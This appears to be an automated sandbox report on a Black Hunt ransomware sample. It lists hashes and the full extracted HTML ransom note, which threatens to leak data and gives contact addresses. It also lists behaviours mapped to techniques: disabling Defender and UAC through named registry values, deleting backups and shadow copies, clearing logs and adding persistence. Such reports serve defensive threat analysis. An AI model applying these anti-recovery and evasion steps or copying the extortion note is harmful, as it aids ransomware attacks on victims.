0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 22:26

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General

Target

0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Size

707KB
MD5

7be009d2e0af11656b8c377b77fdccd4
SHA1

fc1c13374b46ab7a985d0e16858c9add2d6687dd
SHA256

0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6
SHA512

bfdb206e6db5aa4207b5b5b82debce47f37892779bc86b985c715131461ccdef918c33837efa5773791ab4b4409a8fb1c5ae000ae5e1649c642ef473782663e1
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1q8Rvnh:6uaTmkZJ+naie5OTamgEoKxLWJFh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> S7va2e2TeL73hCMC </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2468	fsutil.exe
4788	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4924	wevtutil.exe
3176	wevtutil.exe
652	wevtutil.exe
328	wevtutil.exe
4644	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1280	bcdedit.exe
2252	bcdedit.exe
4972	bcdedit.exe
3972	bcdedit.exe

Renames multiple (2893) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2088	wbadmin.exe
4556	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3220	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\L:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\U:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\E:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\A:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\J:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\Z:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\I:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\T:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\Y:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\X:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\W:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\O:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\H:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\S:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\K:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\V:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\M:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\P:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\B:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened (read-only)	\??\N:	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_content-background.png	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\Java\jre7\lib\zi\Europe\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Tell_City	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-plaf.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files (x86)\Google\CrashReports\#BlackHunt_ReadMe.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Damascus	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaTypewriterRegular.ttf	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_ReadMe.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-options-keymap.xml_hidden	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\text_renderer\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
